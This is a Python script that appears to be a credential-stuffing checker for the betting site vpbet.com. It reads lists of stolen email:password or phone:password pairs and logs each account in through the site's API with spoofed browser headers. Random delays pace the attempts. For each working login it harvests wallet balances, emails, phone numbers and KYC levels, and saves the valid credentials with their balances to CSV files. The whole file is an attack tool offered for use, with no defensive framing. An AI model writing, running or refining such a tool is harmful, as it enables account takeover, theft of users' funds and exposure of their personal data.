import requests
import json
import time
import random
import uuid
from datetime import datetime
import csv
from pathlib import Path
class VPBetAPI:
def __init__(self):
self.base_url = 'https://www.vpbet.com'
self.session = requests.Session()
self.token = None
self.device_code = uuid.uuid4().hex
self.account_info = None
def _get_headers(self, with_token=False):
headers = {
'accept': 'application/json, text/plain, */*',
'accept-language': 'en-US,en;q=0.5',
'areacode': 'IN',
'channel': '1428',
'content-type': 'application/json;charset=UTF-8',
'device': 'Windows 10 amd64',
'devicecode': self.device_code,
'devicetype': 'web',
'language': 'en',
'priority': 'u=1, i',
'sec-ch-ua': '"Brave";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'sec-gpc': '1',
'sourcetype': 'Windows',
'tid': '10',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
}
if with_token and self.token:
headers['token'] = self.token
headers['referer'] = f'{self.base_url}/welcome?redirect=Home&page=home&authStatus=&authType=login'
headers['source'] = f'{self.base_url}/welcome?redirect=Home&page=home&authStatus=&authType=login'
else:
headers['referer'] = f'{self.base_url}/login?redirect=Home&page=home'
headers['source'] = f'{self.base_url}/login?redirect=Home&page=home'
return headers
def format_wallet_info(self, wallet_data, account_details=None):
if 'error' in wallet_data:
return wallet_data
output = {
"account_details": {
"username": self.account_info.get('username', 'N/A'),
"account": self.account_info.get('loginName', 'N/A'),
"last_login": self.account_info.get('lastLoginTime', 'N/A'),
"status": 'Active' if self.account_info.get('status') == 1 else 'Inactive',
"vip_level": account_details.get('data', {}).get('vipLevel', 'N/A') if account_details else 'N/A',
"player_id": account_details.get('data', {}).get('playerId', 'N/A') if account_details else 'N/A',
"email": account_details.get('data', {}).get('email', 'N/A') if account_details else 'N/A',
"mobile": account_details.get('data', {}).get('mobile', 'N/A') if account_details else 'N/A',
"mobile_area": account_details.get('data', {}).get('mobileArea', 'N/A') if account_details else 'N/A',
"area_code": account_details.get('data', {}).get('areaCode', 'N/A') if account_details else 'N/A',
"area_currency": account_details.get('data', {}).get('areaCurrency', 'N/A') if account_details else 'N/A',
"experience": account_details.get('data', {}).get('experience', 'N/A') if account_details else 'N/A',
"kyc_level": account_details.get('data', {}).get('kycLevel', 'N/A') if account_details else 'N/A',
"invite_code": account_details.get('data', {}).get('inviteCode', 'N/A') if account_details else 'N/A',
"current_level_value": account_details.get('data', {}).get('currentLevelValue', 'N/A') if account_details else 'N/A',
"next_level_value": account_details.get('data', {}).get('nextLevelValue', 'N/A') if account_details else 'N/A'
},
"wallets": [],
"total_balance": 0.0
}
if 'data' in wallet_data and isinstance(wallet_data['data'], list):
for wallet in wallet_data['data']:
balance = float(wallet.get('wallet', 0))
wallet_info = {
"wallet_name": wallet.get('currency', 'N/A'),
"balance": balance,
"currency": wallet.get('currency', 'N/A'),
"wallet_type": wallet.get('type', 'N/A')
}
output["wallets"].append(wallet_info)
output["total_balance"] += balance
return output
def login(self, login_data):
try:
self.session.get(f'{self.base_url}/login?redirect=Home&page=home')
login_url = f'{self.base_url}/api/web/login'
response = self.session.post(
login_url,
json=login_data,
headers=self._get_headers(),
timeout=10
)
response.raise_for_status()
login_data = response.json()
if 'data' in login_data:
self.token = login_data['data'].get('token')
self.account_info = login_data['data']
return login_data
else:
raise Exception("Invalid login response format")
except Exception as e:
return {"error": f"Login failed: {str(e)}"}
def get_wallet_info(self):
if not self.token:
return {"error": "Not logged in. Please login first."}
try:
timestamp = int(time.time() * 1000)
wallet_url = f'{self.base_url}/api/web/player/getWalletInfo?_t={timestamp}'
response = self.session.get(
wallet_url,
headers=self._get_headers(with_token=True),
timeout=10
)
response.raise_for_status()
return response.json()
except Exception as e:
return {"error": f"Failed to get wallet info: {str(e)}"}
def get_account_details(self):
if not self.token:
return {"error": "Not logged in. Please login first."}
try:
timestamp = int(time.time() * 1000)
details_url = f'{self.base_url}/api/web/player/getRwInfo?_t={timestamp}'
response = self.session.get(
details_url,
headers=self._get_headers(with_token=True),
timeout=10
)
response.raise_for_status()
return response.json()
except Exception as e:
return {"error": f"Failed to get account details: {str(e)}"}
def print_account_status(account_data, wallet_data):
print("\n" + "="*50)
print(f"Account Status Report - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print("="*50)
# Account Details
print("\n๐ ACCOUNT DETAILS:")
print(f"Username: {account_data['account_details']['username']}")
print(f"Email: {account_data['account_details']['email']}")
print(f"Mobile: +{account_data['account_details']['mobile_area']} {account_data['account_details']['mobile']}")
print(f"Player ID: {account_data['account_details']['player_id']}")
print(f"VIP Level: {account_data['account_details']['vip_level']}")
print(f"Experience: {account_data['account_details']['experience']}")
print(f"Current Level Value: {account_data['account_details']['current_level_value']}")
print(f"Next Level Value: {account_data['account_details']['next_level_value']}")
print(f"KYC Level: {account_data['account_details']['kyc_level']}")
print(f"Invite Code: {account_data['account_details']['invite_code']}")
print(f"Area: {account_data['account_details']['area_code']} ({account_data['account_details']['area_currency']})")
print(f"Status: {account_data['account_details']['status']}")
# Wallet Information
print("\n๐ฐ WALLET INFORMATION:")
print(f"Total Balance: {account_data['total_balance']:.2f}")
if account_data['wallets']:
print("\nAll Wallets:")
for wallet in account_data['wallets']:
print(f" โข {wallet['wallet_name']} ({wallet['wallet_type']}): {wallet['balance']:.2f} {wallet['currency']}")
else:
print("No wallets found.")
print("\n" + "="*50 + "\n")
def parse_account_line(line):
"""Parse account line and return login parameters"""
parts = line.strip().split(':')
if len(parts) != 3 and len(parts) != 2:
return None, None, None, None, f"Invalid format: {line}"
if len(parts) == 3: # Phone format: COUNTRY:NUMBER:PASSWORD
country_code = parts[0]
phone = parts[1]
password = parts[2]
# Map country codes to mobile area codes
country_map = {
'FR': '33', # France
'US': '1', # America
'CA': '1', # Canada
'RU': '7', # Russia (ะ ะพััะธั)
'EG': '20', # Egypt (ุงูุนุฑุจูุฉ)
'ZA': '27', # South Africa
'IT': '39', # Italy
'GB': '44', # United Kingdom
'DK': '45', # Denmark
'DE': '49', # Germany
'PE': '51', # Peru
'MX': '52', # Mexico
'AR': '54', # Argentina
'BR': '55', # Brazil
'CL': '56', # Chile
'CO': '57', # Colombia
'AU': '61', # Australia
'ID': '62', # Indonesia
'NZ': '64', # New Zealand
'SG': '65', # Singapore
'TH': '66', # Thailand (เธเธฃเธฐเนเธเธจเนเธเธข)
'JP': '81', # Japan (ใซใปใ)
'KR': '82', # Korea (ํ๊ตญ)
'VN': '84', # Vietnam
'TR': '90', # Turkey
'NG': '234', # Nigeria
'PT': '351', # Portugal
'MT': '356', # Malta
'BD': '880', # Bangladesh
'HK': '852', # Hong Kong
'KH': '855', # Cambodia (แแถแแถแแแแแ)
'NP': '977' # Nepal
}
mobile_area = country_map.get(country_code)
if not mobile_area:
return None, None, None, None, f"Unsupported country code: {country_code}"
return phone, password, mobile_area, country_code, None
else: # Email format: EMAIL:PASSWORD
email = parts[0]
password = parts[1]
return email, password, None, None, None
def process_accounts_to_csv(input_file):
"""Process a list of accounts from a file and output valid accounts to CSV"""
email_output = 'results_email.csv'
mobile_output = 'results_mobile.csv'
invalid_log = 'invalid.log'
total_accounts = 0
valid_accounts = 0
valid_phones = 0
valid_emails = 0
total_balance = 0.0
email_exists = Path(email_output).exists()
mobile_exists = Path(mobile_output).exists()
with open(email_output, 'a', newline='') as email_csv, open(mobile_output, 'a', newline='') as mobile_csv, open(invalid_log, 'a') as logfile:
email_writer = csv.writer(email_csv)
mobile_writer = csv.writer(mobile_csv)
if not email_exists:
email_writer.writerow(['Email', 'Password', 'Total Amount', 'Currency', 'Mobile'])
if not mobile_exists:
mobile_writer.writerow(['Country', 'Phone', 'Password', 'Total Amount', 'Currency', 'Email'])
with open(input_file, 'r') as f:
for line in f:
if not line.strip():
continue
total_accounts += 1
account, password, mobile_area, country_code, error = parse_account_line(line)
if error:
print(f"โ {error}")
logfile.write(f"{line.strip()} | Error: {error}\n")
continue
vpbet = VPBetAPI()
print(f"\n๐ Processing account: {account}")
login_data = {
"account": account,
"password": password
}
if mobile_area:
login_data["mobileArea"] = mobile_area
login_result = vpbet.login(login_data)
if "error" not in login_result:
account_details = vpbet.get_account_details()
wallet_info = vpbet.get_wallet_info()
formatted_data = vpbet.format_wallet_info(wallet_info, account_details)
mobile = f"+{formatted_data['account_details']['mobile_area']} {formatted_data['account_details']['mobile']}"
email = formatted_data['account_details']['email']
primary_currency = "N/A"
primary_amount = 0.0
for wallet in formatted_data['wallets']:
if wallet['balance'] > 0:
primary_currency = wallet['currency']
primary_amount = wallet['balance']
break
if mobile_area:
mobile_writer.writerow([
country_code,
account,
password,
primary_amount,
primary_currency,
email
])
valid_phones += 1
else:
email_writer.writerow([
account,
password,
primary_amount,
primary_currency,
mobile
])
valid_emails += 1
total_balance += primary_amount
print(f"โ
Valid account - Balance: {primary_amount} {primary_currency}")
else:
error_msg = login_result['error']
print(f"โ Invalid account: {error_msg}")
logfile.write(f"{line.strip()} | Error: {error_msg}\n")
logfile.flush()
time.sleep(random.uniform(2, 3))
print("\n๐ SUMMARY")
print("=" * 50)
print(f"Total Accounts Processed: {total_accounts}")
print(f"Valid Accounts Found: {valid_accounts}")
print(f"Invalid Accounts: {total_accounts - valid_accounts}")
print(f"Total Balance Found: {total_balance:.2f}")
print(f"Valid accounts saved to: {email_output}")
print(f"Invalid accounts logged to: {invalid_log}")
print("=" * 50)
def main():
import sys
if len(sys.argv) > 1:
input_file = sys.argv[1]
output_file = sys.argv[2] if len(sys.argv) > 2 else 'results.csv'
invalid_log = 'invalid.log'
if not Path(input_file).exists():
print(f"โ Input file not found: {input_file}")
return
print(f"๐ Processing accounts from: {input_file}")
print(f"๐ Results will be saved to: {output_file}")
print(f"โ Invalid accounts will be logged to: {invalid_log}")
process_accounts_to_csv(input_file)
print(f"\nโ
Processing complete!")
else:
print("โ Please provide an input file path! [email:password OR country:phone:password]")
print("Usage: python3 vpbet.py input_file.txt [output_file.csv]")
if __name__ == "__main__":
main()